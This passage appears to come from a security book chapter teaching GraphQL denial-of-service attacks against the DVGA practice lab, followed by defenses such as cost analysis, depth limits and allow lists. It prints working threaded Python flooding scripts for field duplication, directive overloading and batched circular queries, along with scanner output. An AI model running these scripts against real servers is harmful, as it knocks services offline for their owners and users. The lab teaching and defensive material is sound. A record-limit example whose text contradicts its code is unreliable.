specification suggests. Try experimenting with this query in the lab.

NOTE

Executing this query will immediately crash DVGA with a
segmentation fault error. Make sure to execute it only in the virtual
lab. After you run the query, DVGA should no longer be available.
To start it again, simply follow the steps from Chapter 2 to create
another Docker container.

If you ran the query, you should have seen a pretty immediate crash! You
might be wondering, are all GraphQL servers vulnerable to this attack? The
short answer is no, if the GraphQL server is spec compliant. A GraphQL
server is supposed to reject such queries before they get executed. Still, you
never know when you might run into a completely custom implementation in
a penetration test, so knowing about this technique is worthwhile.

Field Duplication
Field duplication vulnerabilities concern queries that contain repeating
fields. They are simple to execute, yet less effective than circular queries.

While circular queries are small queries that result in abnormally large
responses, field duplications are large queries that exhaust the server



because of the amount of time they take to process and resolve. To effectively
abuse GraphQL APIs by using field duplications, you must send a constant
stream of queries to keep the server’s resources continuously busy.

Understanding How Field Duplication Works
To understand how field duplication works, consider the following GraphQL
query:

query { 
  pastes { 
     title 
     content 
  } 
}

This query returns the title and content fields of all pastes in the
application. When GraphQL receives this query, it will use its query
resolvers to provide each field requested.

If we “stuff” additional fields in the query, GraphQL will be forced to
resolve each field separately. This behavior could introduce additional load
on the server, cause performance degradation, or completely crash it.

The strategy here is fairly simple: choose a field that you think might be
expensive to resolve, and stuff the query with additional copies of that field’s
name. Listing 5-5 shows an example query.

query { 
  pastes { 
     title 
     content 
     content 
     content 
     content 
     content 
  } 
}

Listing 5-5: A GraphQL query with repeating fields



When a query contains multiple repeating fields, such as in Listing 5-5,
where content is repeated five times, you might expect to see the same five
fields in the response. In reality, GraphQL will consolidate the response and
display only a single content JSON field:

{ 
  "data": { 
    "pastes": [ 
      { 
        "title": "My Title", 
        "content": "My First Paste" 
      } 
    ] 
  } 
}

From a client perspective, it might seem like GraphQL is ignoring our
repeating fields. Fortunately, this is not the case. Through response time
analysis, you can see the query’s impact on the server. Unless the server has
implemented specific security defenses, such as query cost analysis (covered
later in this chapter), you should expect to see these vulnerabilities in most
GraphQL implementations.

Testing for Field Duplication Vulnerabilities
To test field duplication attacks in our lab, we’ll write a simple query and
attempt to repeat a few selected fields to see how our target responds.

Open Altair and ensure that the address bar is set to
http://localhost:5013/graphql. In the left pane, enter the following query,
which will serve as a baseline:

query {
   pastes {
      content
   }
}

Click Send to query GraphQL. In the response section, you’ll notice that
Altair provides the total time it took for the server to respond in
milliseconds, as shown in Figure 5-3.



It took 26 milliseconds for DVGA to respond to the query, which is a
normal response time. The time you might see in your lab could differ but
should be in the same ballpark.

Figure 5-3: The Altair response time indicator

Next, copy the query from https://github.com/dolevf/Black-Hat-GraphQ
L/blob/master/ch05/field-duplication.graphql, paste it into Altair, and run
it. This query contains approximately 1,000 content fields. Figure 5-4
shows that processing this query took 958 milliseconds, which is 36 times
slower!

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/field-duplication.graphql


Figure 5-4: A slower response time to a query with repeating fields

Some fields will require more resources to resolve, so the performance
impact might vary depending on the chosen field.

This attack requires the client to continuously send large payloads.
Attempting to manually exploit field duplication can be cumbersome. As an
alternative method, you can use a special Python exploit that attempts to
perform a field duplication attack at a far larger scale. Listing 5-6 shows a
snippet of such an exploit. It sends a continuous stream of queries to a remote
server in order to exhaust its resources.

THREADS = 50 
 

❶ payload = 'content \n title \n' * 1000 
❷ query = {'query':'query { \n ' + payload + '}'} 

 
❸ def DoS(): 

    try: 
      r = requests.post(GRAPHQL_URL, json=query) 
      print('Time took: {} seconds '.format(r.elapsed.tota
l_seconds())) 
      print('Response:', r.json()) 



    except Exception as e: 
      print('Error', e.message) 
 

❹ while True: 
    print('Running...') 
    time.sleep(2) 
    for _ in range(THREADS): 
      t = threading.Thread(target=DoS, args=()) 
      t.start()

Listing 5-6: A field duplication exploit

This code creates a dynamic payload variable ❶ with two duplicated
fields: content and title. Each is repeated 1,000 times. At ❷ it
concatenates the payload with the query JSON variable. It then defines a
function named DoS that is responsible for sending the HTTP POST request
containing our malicious GraphQL query ❸. We run an infinite while loop
that executes the DoS function using 50 threads every two seconds ❹. The full
exploit code can be found on GitHub at https://github.com/dolevf/Black-Hat
-GraphQL/blob/master/ch05/exploit_threaded_field_dup.py.

You can download this exploit and run it against DVGA with the following
command. Keep in mind that performance could degrade on your machine
while it is running:

# python3 exploit_threaded_field_dup.py http://localhost:5
013/graphql

Since the exploit uses an infinite loop, it won’t stop its operations on its
own; you can halt it by pressing CTRL-C to send the SIGINT signal.

Alias Overloading
In Chapter 3, you learned how to use aliases to rename duplicate fields so
that the GraphQL server treats them as two different queries. The ability to
run multiple queries in a single HTTP request is quite powerful. Security
analysts could easily overlook these single requests when hunting for
suspicious traffic (as could WAFs). After all, they might think, what harm can
a single HTTP request possibly cause?

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/exploit_threaded_field_dup.py


By default, GraphQL servers won’t limit the number of aliases that can be
used in a single request. The GraphQL application maintainer could
implement custom protections, such as counting the aliases and restricting
them in some middleware, but since aliases are part of the specification, it’s
uncommon to remove support for them or limit their functionality.

Abusing Aliases for Denial of Service
When performing a penetration test, you may run into queries that seem to
take the server longer to process than others. If you identify such a query, you
can hog system resources by calling the same query over and over again. If
the server struggles to quickly return a response, flooding the server with the
same query could result in system overload.

In DVGA, one specific query is slower than others: systemUpdate. This
query is designed to simulate long-running commands, such as those that
perform system updates. Unauthorized clients should never be allowed to
perform queries that change system state, but nothing is impossible in real-
life penetration testing scenarios! Let’s run the systemUpdate query in Altair
to see how long this command takes to fully process. It takes no arguments, as
shown here:

query {
  systemUpdate
}

Send this query to the server and observe the time it takes for the server to
return a response (Figure 5-5).

Figure 5-5: The systemUpdate query response time



The systemUpdate took 50,361 milliseconds to complete. That’s around
50 seconds, a significant amount of time by today’s web standards. This is an
example of a query that we might be able to leverage for DoS purposes.

NOTE

In your lab, the response time to systemUpdate could be faster.
DVGA randomizes its behavior when this query is used to simulate
system load behavior.

Using GraphQL aliases, we can attempt to run systemUpdate a few times
to see how the server behaves. Listing 5-7 shows how you can run
systemUpdate more than once, using aliases.

query { 
  one:systemUpdate 
  two:systemUpdate 
  three:systemUpdate 
  four:systemUpdate 
  five:systemUpdate 
}

Listing 5-7: Aliasing the systemUpdate query

Running this query in Altair should take longer than normal to complete.
If you need to generate hundreds of queries, you can use a short Python

script in the terminal to craft a query programmatically, as shown in Listing 5
-8.

# python3 -c 'for i in range(0, 10): print("q"+str(i)
+":"+"systemUpdate")' 
 
q0:systemUpdate 
q1:systemUpdate 
q2:systemUpdate

Listing 5-8: Generating aliases with Python



Remember: there are no limits to the number of aliases a client can
provide by default, unless the application maintainer has implemented
specific protections against these types of attacks or the web server has set
HTTP body length limits. That means we could specify dozens of aliases and
hog server resources in a single HTTP request.

Other interesting, non-DoS use cases exist for aliases when it comes to
penetration testing, such as defeating authentication mechanisms. You’ll learn
more about those in Chapter 7.

Chaining Aliases and Circular Queries
Since aliases are part of the GraphQL specification, any other vulnerability
you identify can be combined with aliases. The query in Listing 5-9 shows
how we can run a circular query with an alias.

query { 
  q1:pastes { 
    owner { 
      pastes { 
        owner { 
          name 
        } 
      } 
    } 
  } 
  q2:pastes { 
    owner { 
      pastes { 
        owner { 
          name 
        } 
      } 
    } 
  } 
}

Listing 5-9: Circular queries with aliases

This query is not recursive enough to cause any harm to a GraphQL server,
but it illustrates the possibility of making more than one circular query in a
single GraphQL document.



The disadvantage of aliases is that they allow aliasing only queries of the
same root type. You can alias queries only with queries, or mutations only
with mutations, but not queries and mutations together.

Directive Overloading
Chapter 3 covered GraphQL directives, which are a way to decorate a field
or object in GraphQL by using the at (@) symbol. While directives are part of
the GraphQL specification, the specification does not discuss security
controls that should be implemented for directives. In general, GraphQL
implementations check whether the client repeats a query directive; if so, the
server rejects the query. Typical checks on directives are the following:
UniqueDirectivesPerLocation ensures that unique directives are in each
document location, such as a field.
UniqueDirectiveNames ensures that directives have unique names if more
than one is supplied in a location such as a field.

However, nonexistent queries can be supplied many times. There are
effectively no limits to the number of nonexistent directives a client can
supply in most of the popular GraphQL implementations today.

Our research has shown that it’s possible to exhaust GraphQL servers’
query parsers by passing a large number of nonexistent directives in a single
query. During our responsible disclosure process for this directive
overloading vulnerability, we engaged with multiple GraphQL developers on
the matter. Opinions on whether it’s the maintainers’ or consumers’
responsibility to address the flaw varied quite a bit. Companies that were
part of the disclosure process and chose to address it did so by limiting the
number of directives a server will accept or blocking the query based on its
HTTP request body’s size.

Abusing Directives for Denial of Service
The directive overloading vulnerability is somewhat similar to field
duplication in that it requires us to send many directives via several
continuous requests. Despite requiring more computing power than a



vulnerability like circular queries, we’ve found it to be effective at
degrading the server’s performance.

The attack is quite simple: stuff directives in multiple parts of a query and
send it to the server, as shown in Listing 5-10.

query { 
   pastes { 
      title @aa@aa@aa@aa # add as many directives as possi
ble 
      content @aa@aa@aa@aa 
   } 
}

Listing 5-10: An example of directive overloading

The impact on the server can vary depending on its hardware
specifications. We’ve seen different server behaviors when using this
exploitation technique, such as GraphQL server crashes (due to database
memory errors) or service performance degradation.

Testing for Directive Overloading
The exploit in the book’s GitHub repository at https://github.com/dolevf/Bla
ck-Hat-GraphQL/blob/master/ch05/exploit_directive_overloading.py
abuses this type of vulnerability and can be used against DVGA to perform a
directive overloading attack.

At any point while running this script, you can halt its operation by
pressing CTRL-C to send the SIGINT signal. Note that while the script is
running, DVGA will likely be slow or unresponsive.

The following command runs the exploit from the command line:

# python3 exploit_directive_overloading.py http://localhos
t:5013/graphql 30000

Listing 5-11 shows the main exploit code.

URL = sys.argv[1] 
FORCE_MULTIPLIER = int(sys.argv[2]) 
 

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/exploit_directive_overloading.py


def start_attack(): 
  payload = '@dos' * FORCE_MULTIPLIER 
  query = {'query': 'query  { __typename ' + payload + '
 }'} 
  try: 
    r = requests.post(URL, json=query, verify=False) 
    print('\t HTTP Response', r.text) 
    print('\t HTTP Code: '  , str(r.status_code)) 
  except: 
    pass 
 
threads = [] 
 
while True: 
  time.sleep(2) 
  start = time.time() 
  start_attack() 
  print(f'Time request took: {time.time() - start}') 
 
  for i in range(300): 
    t = threading.Thread(target=start_attack) 
    threads.append(t) 
    t.start() 
 
  for t in threads: 
    t.join()

Listing 5-11: The exploit code to abuse the directive overloading
vulnerability

The exploit takes two arguments from the command line, one to identify the
target API and the other for the number of directives that will be stuffed into
the query during exploitation. As part of the start_attack function, we
multiply the dos directive by the number of directives provided. We then
build the GraphQL query that will use the malicious payload and create 300
threads, each running the start_attack function in parallel. This keeps the
server resources busy for as long as the exploit is running by using an infinite
while loop.



NOTE

The directive specified in the exploit doesn’t have to exist in
GraphQL for it to work. You can specify any arbitrary text and
prepend it with the @ symbol.

Object Limit Overriding
GraphQL servers can implement limits on the amount of data they return to a
client by default. This is especially important for fields that return arrays.
For example, recall that, in DVGA, the pastes query returns an array of
paste objects:

type Query { 
  pastes: [PasteObject]! 
}

The exclamation mark means that pastes is non-nullable, so the array
must have zero or more items. Unless the query is explicitly limited,
GraphQL will return all objects in response to a request for pastes. If the
database has 10,000 objects, for example, GraphQL could return all 10,000.

A response containing 10,000 objects is a lot of data for the server (and
client) to process. Servers could implement logic to limit the number of
returned objects to a more restricted number, such as 100. For example, they
might sort objects by their creation time and return only the most recent
pastes. This filtering can happen at the database level, the GraphQL level, or
both.

Some GraphQL applications may allow a client to override this server-
side object limit by passing a special argument such as limit, as in this
example. Go ahead and run this query in Altair:

query { 
   pastes(limit:100000, public: true) { 
     content 
   } 
}



When executing this query, GraphQL could convert it to a SQL query
behind the scenes, as shown here:

SELECT content FROM pastes WHERE public = true LIMIT 10000
0

On a small-scale database such as DVGA’s, this won’t do a whole lot of
harm. However, on very large databases, controlling the number of rows a
server returns could be powerful and may allow us to perform database-
level DoS.

If introspection is enabled, GraphQL will auto-complete arguments as you
type them, making it easy to discover those that the queries support. If
introspection is disabled, try common keywords such as limit, offset,
first, after, last, max, and total. These keywords are often associated
with API pagination, a way to control the amount of data returned in HTTP
responses. Pagination divides a large dataset into smaller parts, which
allows the client to both request and receive data in chunks.

It’s worth testing how many objects the server allows a client to request.
Having the ability to request an arbitrary number of records from the server
could become another DoS vector in an application.

Array-Based Query Batching
Now we’ll explore a feature that very conveniently allows us to scale the
attacks you’ve learned about so far. Query batching is any method used to
group multiple queries and send them to the GraphQL API in parallel.
Aliases are one form of query batching.

While useful, aliases have a clear disadvantage, as they can batch only
queries that are of the same operation root type. For instance, you can’t alias
a mutation and a query together. The technique of array-based batching
allows us to mix queries and mutations. However, arrays aren’t part of the
specification and therefore may not be available to you during all penetration
tests.



Understanding How Array-Based Query Batching
Works
Array-based query batching is a feature that allows a client to send multiple
GraphQL queries of any root type in an array as part of a JSON payload.
Imagine that we want to send a query more than once and receive the same
response multiple times. Using array-based query batching, we can easily do
this by essentially duplicating this query and adding the copies as elements to
an array. Here is a pseudo-query example:

[ 
  query { 
   ipAddr 
   title 
   content 
  } 
  query { 
   ipAddr 
   title 
   content 
  } 
]

When GraphQL receives an array of queries from a client, it will process
them sequentially and refrain from returning a response until the very last
array element is processed and resolved. Once all queries are resolved, it
will return a response containing an array of all query responses in a single
HTTP response.

Your hacker senses might be kicking in at this very moment, because there
is a clear risk here. It’s assumed that the client will send a reasonable
number of queries in an array. But what happens if a client sends thousands
of queries in a single array instead? Let’s find out. Spoiler: bad things will
happen.

As with aliasing, identifying the abuse of array-based batch queries can be
difficult, because all a security analyst will see in their logs is a single HTTP
request. This may not immediately stand out as a malicious pattern. Thus, this
technique could circumvent traditional rate-limiting controls, which may
restrict clients to a certain number of requests per second (RPS) or requests
per minute (RPM).



At the end of the chapter, we’ll discuss some potential mitigations for
batched queries an application could implement.

Testing for Array-Based Query Batching
GraphQL IDEs such as Altair, GraphQL Playground, and GraphiQL Explorer
do not support array-based queries directly from the interface. So, to test
whether array-based query batching is enabled on the DVGA, we’ll need to
use an HTTP client such as cURL or a scripting language such as Python.
We’ll show how to use both methods in our lab.

Using cURL
The command in Listing 5-12 sends an array of queries using cURL.

# curl http://localhost:5013/graphql -H "Content-Type: app
lication/json"
-d '[{"query":"query {systemHealth}"},{"query":"query {sys
temHealth}"}]' 
 
[ 
  {"data":{"systemHealth":"System Load: 0.03  \n"}}, 
  {"data":{"systemHealth":"System Load: 0.03  \n"}} 
]

Listing 5-12: Array-based batch queries using cURL

In this cURL command, we’re using the -d flag to send an array of
GraphQL queries to the server. The array, which is defined using square
brackets [], surrounds two similar GraphQL queries. In each query, we’re
using the systemHealth object. The GraphQL server returns two separate
responses.

Sending an array containing two GraphQL queries will result in an equal
number of query responses if the GraphQL server supports array-based query
batching. You can tell that this is the case by the data JSON field we
received in the response. When the -d flag is used, cURL uses the HTTP
POST method under the hood.

Using Python



The same query can be performed using Python, as shown in Listing 5-13.

import requests 
 
queries = [ 
  {"query":"query {systemHealth}"}, 
  {"query":"query {systemHealth}"} 
] 
 
r = requests.post('http://localhost:5013/graphql', json=qu
eries) 
 
print(r.json())

Listing 5-13: Array-based batch queries using Python

We declare a queries array containing our two systemHealth queries.
We then send them in a batch to DVGA and print the response. This should
return an array containing two elements, each of which is a response to a
single query. You can find this code in the GitHub repository at https://githu
b.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/array_based_batch_q
uery.py.

Save the file to your desktop and run the following:

# cd ~/Desktop 
# python3 array_based_batch_query.py 
 
[ 
   {'data': {'systemHealth': 'System Load: 1.49\n'}}, 
   {'data': {'systemHealth': 'System Load: 1.49\n'}} 
]

GraphQL servers that don’t support array-based batching may throw
HTML errors because they don’t implement logic to handle an array payload.
Servers that do support arrays but have disabled them may return an error
such as the following:

{'errors': [{'message': 'Batch GraphQL requests are not en
abled.'}]}

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/array_based_batch_query.py


Next, we’ll explore how to perform DoS attacks by combining circular
queries and array-based query batching.

Chaining Circular Queries and Array-Based Query
Batching
Using circular queries with array-based batching can wreak havoc on a
GraphQL server and potentially knock it out. Consider the circular query in L
isting 5-14.

query { 
  pastes {      # level 1 
    owner {     # level 2 
      pastes {  # level 3 
        owner { # level 4 
          name  # level 5 
        } 
      } 
    } 
  } 
}

Listing 5-14: A circular query

This recursive query has a depth level of five. On its own, it may not be
enough to take down the target server, but we could modify it to make it much
deeper. Each level creates an additional node that a server needs to process
and resolve, consuming more server resources.

To experiment with circular queries, we’ve coded a custom exploit for
your arsenal of hacking tools. This exploit can dynamically extend its
circularity by letting you specify the number of circles that should be
performed. The query is also capable of batching queries using arrays. The
following code is a snippet from https://github.com/dolevf/Black-Hat-Grap
hQL/blob/master/ch05/array_based_circular_queries.py:

ARRAY_LENGTH = 5 
FIELD_REPEAT = 10 
 
query = {"query":"query {"} 
field_1_name = 'pastes' 

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/array_based_circular_queries.py


field_2_name = 'owner' 
 
count = 0 
for _ in range(FIELD_REPEAT): 
    count += 1 
    closing_braces = '} ' * FIELD_REPEAT * 2  + '}' 
    payload = "{0} {{ {1} {{ ".format(field_1_name, field_
2_name) 
    query["query"] += payload 
 
    if count == FIELD_REPEAT: 
      query["query"] += '__typename' + closing_braces 
--snip-- 
queries = [] 
for _ in range(ARRAY_LENGTH): 
  queries.append(query) 
 
r = requests.post('http://localhost:5013/graphql', json=qu
eries) 
 
print(r.json())

This code builds on the query in Listing 5-14 by dynamically generating a
circular query and adding it to an array based on two main script inputs:
ARRAY_LENGTH and FIELD_REPEAT. The ARRAY_LENGTH is the number of
queries to be grouped together. A value of 5 means that the array will have
five queries. FIELD_REPEAT indicates the number of times the script will
append the circular fields (pastes and owner) into the query.

The script then uses a for loop to construct the query based on the value
of FIELD_REPEAT and assigns it to the query variable. We initialize an
empty array named queries and run another for loop to add the query we
constructed into the queries array. To put it simply, we construct a circular
query, add it to an array based on predefined values, and send it to the target.

We encourage you to run this script in the lab to see how it works!
Download the script to your lab and set the executable (+x) permissions
before running it:

# python3 array_based_circular_queries.py 
 
Query: query {pastes { owner { ... } } } 
Query Repeated: 10 times 



Query Depth: 21 levels 
Array Length: 5 elements

The script will output the query and some information about it, such as the
number of times the fields were repeated, the depth level of the query, and
the length of the array sent to the server. You can alter FIELD_REPEAT and
ARRAY_LENGTH to see the change in impact on the server’s responsiveness by
dynamically growing the query and array.

There are no magic numbers here; you will want to gradually increase the
numbers of fields until the target server becomes noticeably slower. Based
on our lab experiments, setting FIELD_REPEAT to at least 500 should result in
DVGA crashing with a segmentation fault error. In that case, start it up again
by following the lab setup guidelines in Chapter 2.

Detecting Query Batching by Using BatchQL
Certain GraphQL tools attempt to detect when batching is available on a
target GraphQL server. For instance, BatchQL is a small Python utility that
scans for GraphQL weaknesses. It is able to detect both alias-based batching
and array-based batching by sending a preflight request and observing the
errors returned by the server. The following code demonstrates the logic it
uses to detect array-based batching:

repeated_query_list = "query { assetnote: Query { hackthep
lanet } }" 
repeated_query_dict = [{"query": repeated_query_list}, {"q
uery":  repeated_query_list}] 
repeated_query_success = False 
try: 
  r = requests.post(args.endpoint, headers=header_dict, 
      json=repeated_query_dict, proxies=proxies, verify=Fa
lse) 
  error_count = len(r.json()) 
  --snip-- 
  if error_count > 1: 
    print("Query JSON list based batching: GraphQL batchin
g is possible... 
          preflight request was successful.")



In this example, BatchQL creates a GraphQL query by using the field
hacktheplanet. It then creates an array containing two copies of the query.
BatchQL sends the array to a target server and counts the number of errors
returned in the response. If the number of errors is greater than one, it means
that the server processed both queries.

The reason it looks for the number of errors returned is that the query
contains the hacktheplanet field, which will likely not exist on any real
target. Therefore, GraphQL will return an error for each query it wasn’t able
to process. BatchQL uses the same error-counting logic for its detection of
alias-based batching.

Let’s now attempt to run BatchQL against DVGA and see the kind of output
we get. Use the -e flag to specify the GraphQL endpoint:

# cd BatchQL 
# python3 batch.py -e http://localhost:5013/graphql 
 
CSRF GET based successful. Please confirm that this is a v
alid issue. 
CSRF POST based successful. Please confirm that this is a
 valid issue. 
Query name based batching: GraphQL batching is possible... 
preflight request was successful. 
Query JSON list based batching: GraphQL batching is possib
le...preflight request was successful.

BatchQL was able to detect that both array-based batching and alias-based
batching are available.

Performing a DoS Audit with GraphQL Cop
GraphQL Cop is a Python-based security auditing utility capable of finding
DoS and information disclosure weaknesses in GraphQL applications. It can
identify most DoS classes covered in this chapter. Let’s use this tool against
DVGA to see what vulnerabilities we can quickly find without a lot of effort.

GraphQL Cop takes very few parameters to do its work. To perform an
audit, run it using the following commands:



# cd ~/graphql-cop 
# python3 graphql-cop.py -t http://localhost:5013/graphql 
 
                    GraphQL Cop 
           Security Auditor for GraphQL 
             Dolev Farhi & Nick Aleks 
 
[HIGH] Alias Overloading - Alias Overloading with 100+ ali
ases is allowed (Denial of Service) 
[HIGH] Batch Queries - Batch queries allowed with 10+ simu
ltaneous queries (Denial of Service) 
[HIGH] Field Duplication - Queries are allowed with 500 of 
the same repeated field 
       (Denial of Service) 
[HIGH] Directive Overloading - Multiple duplicated directi
ves allowed in a query 
       (Denial of Service)

As you can see, we get output containing a description of each
vulnerability and its predefined severity. The tool was able to identify four
DoS vectors in DVGA. If you need to parse this information
programmatically during a penetration test, you may need a more script-
friendly output. To achieve this, use the -o json flag.

Denial-of-Service Defenses in GraphQL
We’ve explored various techniques for performing DoS attacks against
GraphQL targets. While most GraphQL implementations don’t include
comprehensive DoS mitigations by default (with some exceptions), it’s
possible to protect against the attacks we’ve discussed.

Query Cost Analysis
Complex queries are costly for servers to process, especially when many of
them are sent simultaneously. When performing a penetration test, you may
run into a GraphQL server that implements a cost analyzer. This term refers
to any system that assigns a numerical value to GraphQL fields based on how
much they “cost” to process. Processing involves CPU, input/output (I/O),
memory, and network resource consumption.



Query cost analysis can be achieved in multiple ways, such as by
evaluating the query structure pre-execution using static analysis or by
observing the query response after it’s fully resolved.

Statically Assigning Cost to the Query
The more common form of cost analysis is static analysis. For instance,
consider the following query:

query { 
  pastes { 
    title 
    content 
    userAgent 
    ipAddr 
    owner { 
      name 
    } 
  } 
}

We’re using the pastes top-level field and specifying some fields, such as
title, content, and owner.

With static analysis, you can assign the query a cost in different ways. One
common way is using a dedicated schema directive to specify values per
field or per object type. The following example schema illustrates how cost
assignment can be achieved through the use of schema directives:

directive @cost( 
  complexity: Int = 1 
) on FIELD_DEFINITION | OBJECT 
 
type PasteObject { 
  title: String @cost(complexity: 1) 
  content: String @cost(complexity: 1) 
  userAgent: String @cost(complexity: 5) 
  ipAddr: String @cost(complexity: 5) 
}

Here, a special cost directive accepts a complexity argument, and the
complexity argument accepts an integer value. If no value is provided to the



complexity argument, it defaults to 1. In the schema, the fields in
PasteObject have some cost values assigned to them based on how
resource heavy they are to resolve. (Imagine a field that requires the server
to perform upstream checks against multiple third-party services, as opposed
to a field that can be resolved by reading directly from a local database.)

Based on this schema definition, we can add directives to our query as
follows:

query { 
  pastes { 
    title     # cost: 1 
    content   # cost: 1 
    userAgent # cost: 5 
    ipAddr    # cost: 5 
  } 
}

The total cost of this query is 12. Knowing the total cost allows the
GraphQL server to decide whether it should accept the query or reject it
because it’s deemed too expensive.

NOTE

Some GraphQL implementations automatically assign a field a
value of 1 if no cost value is explicitly set.

Many static cost assignment libraries don’t persist the cost information to
any database or cache. Therefore, in practice, each query is evaluated per
query. To illustrate the dangers of failing to track cost usage, consider the
diagram in Figure 5-6.



Figure 5-6: The dangers of stateless cost analysis

Here, a GraphQL server has set the maximum cost allowed (MAX_COST) to
200. In this example, queries that have a cost of 200 and below are accepted,
which means that if a client is sending multiple parallel queries, all with a
cost of 200, all will be accepted. This might introduce risks if the
application’s backend is not able or ready to sustain parallel queries with
such cost. Imagine an attacker using the maximum cost allowed to send
thousands of requests; if the limit is too forgiving, this could choke an
application.

Dynamically Assigning Cost to the Server Response
Cost analysis can also be performed on the server response to a query after it
is fully resolved. The server must first process the query in order to
understand its cost. However, looking at the actual resolved query can
provide a more accurate cost estimation than the static technique.

The advantage of this dynamic method over the static method is that
dynamic cost assignment takes into account the response complexity as it is
returned by the server. Think of a client requesting a single field that results
in the server returning an array containing 1,000 elements. In this case, the
response indicates a level of complexity that cannot be inferred by just
looking at the query.

Using Credits-Based Rate Limiting
GraphQL servers can be designed to keep track of the cost of queries made
throughout a client session’s lifetime. Tracking this information allows
servers to set hourly or daily quota limits, and reject queries after a certain



limit is exceeded, as part of a credit-based system. For example, a server
may set an hourly credit allowance (such as 1,000) per user session or per
source IP address. If a query had a static cost of 200, a client could make
only five of these queries per hour. To query again, they would have to wait
until the credit allowance quota renews.

For this mechanism to work, however, the server must track and store a
client’s API usage data in a database. Otherwise, query limits based on cost
would have to be stateless, which is common in GraphQL APIs.

Discovering a Query’s Cost in Responses
As you’ve learned, there are a few ways to implement cost-analysis controls
in GraphQL APIs. In some implementations, you may see cost-related
metadata in the response to a query. Consider the following GraphQL
response example, which uses the extensions response field to provide
cost-related information to the client:

{ 
  "data": { 
--snip-- 
  }, 
  "extensions": { 
    "cost": { 
      "credits_total": 1000, 
      "credits_remaining": 990, 
    } 
  } 
}

The extensions field is used to return some metadata to the client. This
metadata is often related to query tracing, query cost calculation, or other
debugging information. In this example, credits_total is the total number
of available credits, and credits_remaining is the current number of
credits left.

You may be asking yourself why a GraphQL server would share this
information with the client in the first place. Clients can use it to determine
when queries may start getting throttled by the server and potentially fail.
This helps clients build better error-handling logic.



Of course, the availability of cost information is also valuable to hackers.
If we have a way to know when our queries will be accepted by the server
(as in the case of hourly credits), we have a way to determine when to launch
a new attack the next time credits become available to us, instead of
repeatedly sending requests that will get blocked.

Query Depth Limits
Earlier in this chapter, we discussed circular queries and how recursive
queries in GraphQL could starve a server for resources. To protect a
GraphQL server from recursive queries, applications can set query depth
limits. For example, setting a max_depth configuration to a value of 10
would allow up to only 10 levels of depth. Any query that exceeds the
allowed depth would get rejected.

Some of the more mature GraphQL implementations support depth analysis
out of the box or by leveraging external libraries written specifically for this
purpose. Let’s take a look at how to implement query depth limits in graphql-
ruby (Ruby) and Graphene (Python).

In graphql-ruby, it is possible to set a maximum depth limit within the
MySchema class:

class MySchema < GraphQL::Schema 
  --snip-- 
  max_depth 10 
end

In Graphene, a maximum depth limit can be set in the following way:

schema = Schema(query=MyQuery) 
 
validation_errors = validate( 
    schema=schema.graphql_schema, 
    document_ast=parse('THE QUERY'), 
    rules=( 
        depth_limit_validator(
            max_depth=20
        ), 
    ) 
)



Depth is typically calculated per query. If an attacker sends multiple
recursive queries simultaneously, this can still impact the server quite
drastically.

Alias and Array-Based Batching Limits
Because GraphQL aliases are part of the GraphQL specification, developers
can’t disable them easily. Preventing aliases from being abused requires
custom middleware code that parses the incoming query, counts the number
of specified aliases, and rejects the request if the number appears high
enough that it could be dangerous to process. For this type of control to even
exist in a GraphQL application, its developers need to be aware of the
security weaknesses caused by aliases in the first place.

Unlike aliases, array-based batching is not part of the specification
document. It often requires installing additional packages or enabling the
feature in the code. Let’s take a look at what disabling array-based batching
looks like in Graphene:

app.add_url_rule('/graphql', view_func=GraphQLView.as_view
( 
  'graphql', 
  schema=schema, 
  --snip-- 
  batch=True 
))

The batch argument accepts a Boolean value of either True or False. If
we toggle it to False, Graphene will reject any arrays from being processed.
This is an example of how the GraphQL server implementation natively
supports disabling batching and doesn’t require custom code.

In penetration tests, use GraphQL fingerprinting tools such as Graphw00f
to identify the target server implementation. You can then use the GraphQL
Threat Matrix project we’ve put together (https://github.com/nicholasaleks/
graphql-threat-matrix) to identify whether features such as array-based
batching are available. If they exist, figure out whether they can be disabled.
These insights will be useful to document in a penetration test report as part
of the remediation section.

https://github.com/nicholasaleks/graphql-threat-matrix


Field Duplication Limits
By default, GraphQL resolves any field specified in a query, even if it’s
specified more than once. Even so, we can mitigate against field duplication
attacks in multiple ways.

While it doesn’t directly address the field duplication problem, query cost
analysis protects GraphQL applications whenever a large number of fields
are specified in a single query (whether they are duplicated or not). Cost
analysis is an effective mitigation against any form of attack that involves
specifying many fields in a single query.

Another form of protection is using a middleware security analyzer to
inspect the incoming query and take action if any fields are repeated more
than once. The application might choose to implement multiple actions, such
as completely rejecting a query or normalizing the query by consolidating
any repeated fields to eliminate the duplications. This would essentially
reconstruct the original query as a safer version. Currently, no feature in
GraphQL does this. Application developers will need to develop
middleware themselves or use a third-party security tool to do it for them.

Another way applications might go about defending themselves against
field duplication is by calculating the query’s field “height.” Consider the
query in Figure 5-7.

Figure 5-7: An example GraphQL query height



This query requests the owner field, and then the owner field’s id (once)
and name (four times). As you can see, the height altogether is 5. An
application might limit any query that exceeds a certain allowed height. Keep
in mind that, by default, GraphQL does not implement this type of control.

Limits on the Number of Returned Records
GraphQL servers could limit the number of objects they return when a client
requests an array field. To do so, they could set a maximum number of items
to return on the server side and keep the client from overriding it. Here is an
example of how this can be achieved in Graphene:

def resolve_pastes(self, info, public=False): 
    query = PasteObject.get_query(info) 
    return query.filter_by(public=public, burn=False).orde
r_by(Paste.id.desc()).limit(100)

This example resolver function is for the pastes query. The limit ensures
that no matter how many pastes exist in the database, the maximum number of
pastes returned is 1,000.

Another way to limit the number of records returned in a response is by
introducing API pagination, which controls the number of records a client
can retrieve in a single request.

Query Allow Lists
Another defense technique an application might implement is an allow-list
approach. The concept of allow lists is simple: you define the GraphQL
queries that an application can accept, and you reject any queries that aren’t
on the list. You can consider this to be a safe list of trusted queries.

The allow-list approach is typically safer than the use of a deny list, which
tends to be prone to more errors. A malicious payload can be constructed in
a variety of ways, and if you don’t take all of those variations into
consideration when building a deny list, attackers might find ways to bypass
it.

Query allow lists do not normally exist in GraphQL server
implementations, nor do many external libraries implement them. To leverage



such a feature, GraphQL application developers must seek a compatible
library for their implementation or create one from scratch.

Automatic Persisted Queries
Query allow lists are often used in conjunction with a caching mechanism
called automatic persisted queries (APQ), which is used for improving the
